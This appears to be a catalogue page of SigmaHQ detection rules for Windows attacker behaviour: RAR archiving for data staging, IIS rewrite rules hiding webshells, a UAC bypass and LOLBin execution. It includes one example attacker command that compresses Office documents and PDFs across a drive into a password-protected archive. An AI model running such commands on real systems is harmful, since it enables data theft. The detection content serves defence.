    # Example : rar.exe a -m5 -r -y -ta20210204000000 -hp1qazxcde32ws -v2560k Asia1Dpt-PC-c.rar c:\\*.doc c:\\*.docx c:\\*.xls c:\\*.xlsx c:\\*.pdf c:\\*.ppt c:\\*.pptx c:\\*.jpg c:\\*.txt >nul
    selection_opt_1:
        - Image|endswith: '\rar.exe'
        - Description: 'Command line RAR'
    selection_opt_2:
        CommandLine|contains:
            - '.exe a '
            - ' a -m'
    selection_cli_flags:
        CommandLine|contains|all:
            - ' -hp' # password
            - ' -r ' # recursive
    selection_cli_folders:
        CommandLine|contains:
            - ' ?:\\\*.'
            - ' ?:\\\\\*.'
            - ' ?:\$Recycle.bin\'
            - ' ?:\PerfLogs\'
            - ' ?:\Temp'
            - ' ?:\Users\Public\'
            - ' ?:\Windows\'
            - ' %public%'
    condition: 1 of selection_opt_* and all of selection_cli_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

1 of selection_opt_* and all of selection_cli_*

Stage 1: selection_opt_1

selection_opt_1:
    - Image|endswith: '\rar.exe'
    - Description: 'Command line RAR'

Stage 2: selection_opt_2

selection_opt_2:
    CommandLine|contains:
        - '.exe a '
        - ' a -m'

Stage 3: selection_cli_flags

selection_cli_flags:
    CommandLine|contains|all:
        - ' -hp'
        - ' -r '

Stage 4: selection_cli_folders

selection_cli_folders:
    CommandLine|contains:
        - ' ?:\\\*.'
        - ' ?:\\\\\*.'
        - ' ?:\$Recycle.bin\'
        - ' ?:\PerfLogs\'
        - ' ?:\Temp'
        - ' ?:\Users\Public\'
        - ' ?:\Windows\'
        - ' %public%'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • %public%
  • -hp corpus 4 (sigma 4)
  • -r corpus 10 (sigma 10)
  • ?:\$Recycle.bin\
  • ?:\PerfLogs\
  • ?:\Temp
  • ?:\Users\Public\
  • ?:\Windows\
  • ?:\\\*.
  • ?:\\\\\*.
  • a -m
  • .exe a
field:"CommandLine" kind:match
Descriptioneq
  • Command line RAR corpus 3 (sigma 3)
field:"Description" kind:eq value:"Command line RAR"
Imageends_with
  • \rar.exe corpus 5 (sigma 5)
field:"Image" kind:ends_with value:"\rar.exe"

Suspicious IIS URL GlobalRules Rewrite Via AppCmd

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects usage of "appcmd" to create new global URL rewrite rules. This behaviour has been observed being used by threat actors to add new rules so they can access their webshells.

Known False Positives

  • Legitimate usage of appcmd to add new URL rewrite rules

MITRE ATT&CK Coverage

TacticTechniques
StealthNo specific technique

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Suspicious IIS URL GlobalRules Rewrite Via AppCmd
id: 7c8af9b2-dcae-41a2-a9db-b28c288b5f08
status: test
description: Detects usage of "appcmd" to create new global URL rewrite rules. This behaviour has been observed being used by threat actors to add new rules so they can access their webshells.
references:
    - https://twitter.com/malmoeb/status/1616702107242971144
    - https://learn.microsoft.com/en-us/answers/questions/739120/how-to-add-re-write-global-rule-with-action-type-r
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-22
tags:
    - attack.stealth
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\appcmd.exe'
        - OriginalFileName: 'appcmd.exe'
    selection_cli:
        CommandLine|contains|all:
            - 'set'
            - 'config'
            - 'section:system.webServer/rewrite/globalRules'
            - 'commit:'
    condition: all of selection_*
falsepositives:
    - Legitimate usage of appcmd to add new URL rewrite rules
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\appcmd.exe'
    - OriginalFileName: 'appcmd.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - 'set'
        - 'config'
        - 'section:system.webServer/rewrite/globalRules'
        - 'commit:'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • commit:
  • config corpus 16 (sigma 15, splunk 1)
  • section:system.webServer/rewrite/globalRules
  • set corpus 11 (sigma 10, splunk 1)
field:"CommandLine" kind:match
Imageends_with
  • \appcmd.exe corpus 6 (sigma 6)
field:"Image" kind:ends_with value:"\appcmd.exe"
OriginalFileNameeq
  • appcmd.exe corpus 5 (sigma 5)
field:"OriginalFileName" kind:eq value:"appcmd.exe"

Suspicious PowerShell Get Current User

#
Status
test
Severity
low
Author
frack113
Source
github.com/SigmaHQ/sigma

Detects the use of PowerShell to identify the current logged user.

Known False Positives

  • Legitimate PowerShell scripts

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

Rule Body

title: Suspicious PowerShell Get Current User
id: 4096a49c-7de4-4da0-a230-c66ccd56ea5a
status: test
description: Detects the use of PowerShell to identify the current logged user.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script
author: frack113
date: 2022-04-04
tags:
    - attack.discovery
    - attack.t1033
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains:
            - '[System.Environment]::UserName'
            - '$env:UserName'
            - '[System.Security.Principal.WindowsIdentity]::GetCurrent()'
    condition: selection
falsepositives:
    - Legitimate PowerShell scripts
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ScriptBlockText|contains:
        - '[System.Environment]::UserName'
        - '$env:UserName'
        - '[System.Security.Principal.WindowsIdentity]::GetCurrent()'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • $env:UserName corpus 2 (sigma 1, splunk 1)
  • [System.Environment]::UserName
  • [System.Security.Principal.WindowsIdentity]::GetCurrent()
field:"ScriptBlockText" kind:match

Suspicious Process Parents

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects suspicious parent processes that should not have any children or should only have a single possible child program

MITRE ATT&CK Coverage

TacticTechniques
Stealth

Telemetry Coverage

Rule Body

title: Suspicious Process Parents
id: cbec226f-63d9-4eca-9f52-dfb6652f24df
status: test
description: Detects suspicious parent processes that should not have any children or should only have a single possible child program
references:
    - https://twitter.com/x86matthew/status/1505476263464607744?s=12
    - https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b
author: Florian Roth (Nextron Systems)
date: 2022-03-21
modified: 2022-09-08
tags:
    - attack.stealth
    - attack.t1036
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\minesweeper.exe'
            - '\winver.exe'
            - '\bitsadmin.exe'
    selection_special:
        ParentImage|endswith:
            - '\csrss.exe'
            - '\certutil.exe'
         # - '\schtasks.exe'
            - '\eventvwr.exe'
            - '\calc.exe'
            - '\notepad.exe'
    filter_special:
        Image|endswith:
            - '\WerFault.exe'
            - '\wermgr.exe'
            - '\conhost.exe' # csrss.exe, certutil.exe
            - '\mmc.exe'     # eventvwr.exe
            - '\win32calc.exe' # calc.exe
            - '\notepad.exe'
    filter_null:
        Image: null
    condition: selection or ( selection_special and not 1 of filter_* )
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection or ( selection_special and not 1 of filter_* )

Stage 1: selection

selection:
    ParentImage|endswith:
        - '\minesweeper.exe'
        - '\winver.exe'
        - '\bitsadmin.exe'

Stage 2: selection_special

selection_special:
    ParentImage|endswith:
        - '\csrss.exe'
        - '\certutil.exe'
        - '\eventvwr.exe'
        - '\calc.exe'
        - '\notepad.exe'

Stage 3: not filter_*

filter_special:
    Image|endswith:
        - '\WerFault.exe'
        - '\wermgr.exe'
        - '\conhost.exe'
        - '\mmc.exe'
        - '\win32calc.exe'
        - '\notepad.exe'
filter_null:
    Image: null

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ParentImageends_with
  • \bitsadmin.exe
  • \calc.exe
  • \certutil.exe
  • \csrss.exe corpus 3 (sigma 3)
  • \eventvwr.exe corpus 2 (sigma 2)
  • \minesweeper.exe
  • \notepad.exe
  • \winver.exe
field:"ParentImage" kind:ends_with

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Imageends_with\WerFault.exeexcludes:Image field:"Image" value:"\WerFault.exe"
Imageends_with\conhost.exeexcludes:Image field:"Image" value:"\conhost.exe"
Imageends_with\mmc.exeexcludes:Image field:"Image" value:"\mmc.exe"
Imageends_with\notepad.exeexcludes:Image field:"Image" value:"\notepad.exe"
Imageends_with\wermgr.exeexcludes:Image field:"Image" value:"\wermgr.exe"
Imageends_with\win32calc.exeexcludes:Image field:"Image" value:"\win32calc.exe"
Imageis_null(no value, null check)excludes:Image

UAC Bypass Using IDiagnostic Profile

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the "IDiagnosticProfileUAC" UAC bypass technique

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: UAC Bypass Using IDiagnostic Profile
id: 4cbef972-f347-4170-b62a-8253f6168e6d
status: test
description: Detects the "IDiagnosticProfileUAC" UAC bypass technique
references:
    - https://github.com/Wh04m1001/IDiagnosticProfileUAC
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-07-03
modified: 2024-12-01
tags:
    - attack.execution
    - attack.privilege-escalation
    - attack.t1548.002
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\DllHost.exe'
        ParentCommandLine|contains: ' /Processid:{12C21EA7-2EB8-4B55-9249-AC243DA8C666}'
        IntegrityLevel:
            - 'High'
            - 'System'
            - 'S-1-16-16384' # System
            - 'S-1-16-12288' # High
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ParentImage|endswith: '\DllHost.exe'
    ParentCommandLine|contains: ' /Processid:{12C21EA7-2EB8-4B55-9249-AC243DA8C666}'
    IntegrityLevel:
        - 'High'
        - 'System'
        - 'S-1-16-16384'
        - 'S-1-16-12288'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
IntegrityLeveleq
  • High corpus 18 (sigma 17, splunk 1)
  • S-1-16-12288 corpus 18 (sigma 17, splunk 1)
  • S-1-16-16384 corpus 31 (sigma 22, splunk 5, elastic 3, kusto 1)
  • System corpus 31 (sigma 22, splunk 5, elastic 3, kusto 1)
field:"IntegrityLevel" kind:eq
ParentCommandLinematch
  • /Processid:{12C21EA7-2EB8-4B55-9249-AC243DA8C666}
field:"ParentCommandLine" kind:match value:" /Processid:{12C21EA7-2EB8-4B55-9249-AC243DA8C666}"
ParentImageends_with
  • \DllHost.exe corpus 7 (sigma 7)
field:"ParentImage" kind:ends_with value:"\DllHost.exe"

Use of VSIISExeLauncher.exe

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

The "VSIISExeLauncher.exe" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Use of VSIISExeLauncher.exe
id: 18749301-f1c5-4efc-a4c3-276ff1f5b6f8
status: test
description: The "VSIISExeLauncher.exe" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries
references:
    - https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-09
tags:
    - attack.execution
    - attack.stealth
    - attack.t1127
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\VSIISExeLauncher.exe'
        - OriginalFileName: 'VSIISExeLauncher.exe'
    selection_cli:
        CommandLine|contains:
            - ' -p '
            - ' -a '
    condition: all of selection*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\VSIISExeLauncher.exe'
    - OriginalFileName: 'VSIISExeLauncher.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains:
        - ' -p '
        - ' -a '

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -a corpus 5 (sigma 5)
  • -p corpus 12 (sigma 8, splunk 4)
field:"CommandLine" kind:match
Imageends_with
  • \VSIISExeLauncher.exe
field:"Image" kind:ends_with value:"\VSIISExeLauncher.exe"
OriginalFileNameeq
  • VSIISExeLauncher.exe
field:"OriginalFileName" kind:eq value:"VSIISExeLauncher.exe"

Vulnerable Netlogon Secure Channel Connection Allowed

#
Status
test
Severity
high
Author
NVISO
Source
github.com/SigmaHQ/sigma

Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.

MITRE ATT&CK Coverage

TacticTechniques
Privilege Escalation

Telemetry Coverage

Rule Body

title: Vulnerable Netlogon Secure Channel Connection Allowed
id: a0cb7110-edf0-47a4-9177-541a4083128a
status: test
description: Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.
references:
    - https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc
author: NVISO
date: 2020-09-15
modified: 2022-12-25
tags:
    - attack.privilege-escalation
    - attack.t1548
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: NetLogon  # Active Directory: NetLogon ETW GUID {F33959B4-DBEC-11D2-895B-00C04F79AB69}
        EventID: 5829
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Provider_Name: NetLogon
    EventID: 5829

Indicators

These rows show field, operator, and value matches.

WebDav Client Execution Via Rundll32.EXE

#
Status
test
Severity
medium
Author
Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
Source
github.com/SigmaHQ/sigma

Detects "svchost.exe" spawning "rundll32.exe" with command arguments like "C:\windows\system32\davclnt.dll,DavSetCookie". This could be an indicator of exfiltration or use of WebDav to launch code (hosted on a WebDav server).

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: WebDav Client Execution Via Rundll32.EXE
id: 2dbd9d3d-9e27-42a8-b8df-f13825c6c3d5
status: test
description: |
    Detects "svchost.exe" spawning "rundll32.exe" with command arguments like "C:\windows\system32\davclnt.dll,DavSetCookie".
    This could be an indicator of exfiltration or use of WebDav to launch code (hosted on a WebDav server).
references:
    - https://github.com/OTRF/detection-hackathon-apt29/issues/17
    - https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.md
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-05-02
modified: 2023-09-18
tags:
    - attack.exfiltration
    - attack.t1048.003
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\svchost.exe'
    selection_img:
        - Image|endswith: '\rundll32.exe'
        - OriginalFileName: 'RUNDLL32.EXE'
    selection_cli:
        CommandLine|contains: 'C:\windows\system32\davclnt.dll,DavSetCookie'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_parent

selection_parent:
    ParentImage|endswith: '\svchost.exe'

Stage 2: selection_img

selection_img:
    - Image|endswith: '\rundll32.exe'
    - OriginalFileName: 'RUNDLL32.EXE'

Stage 3: selection_cli

selection_cli:
    CommandLine|contains: 'C:\windows\system32\davclnt.dll,DavSetCookie'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • C:\windows\system32\davclnt.dll,DavSetCookie corpus 3 (sigma 3)
field:"CommandLine" kind:match value:"C:\windows\system32\davclnt.dll,DavSetCookie"
Imageends_with
  • \rundll32.exe corpus 94 (sigma 94)
field:"Image" kind:ends_with value:"\rundll32.exe"
OriginalFileNameeq
  • RUNDLL32.EXE corpus 72 (sigma 35, splunk 21, elastic 16)
field:"OriginalFileName" kind:eq value:"RUNDLL32.EXE"
ParentImageends_with
  • \svchost.exe corpus 14 (sigma 14)
field:"ParentImage" kind:ends_with value:"\svchost.exe"

Back to all Sigma rules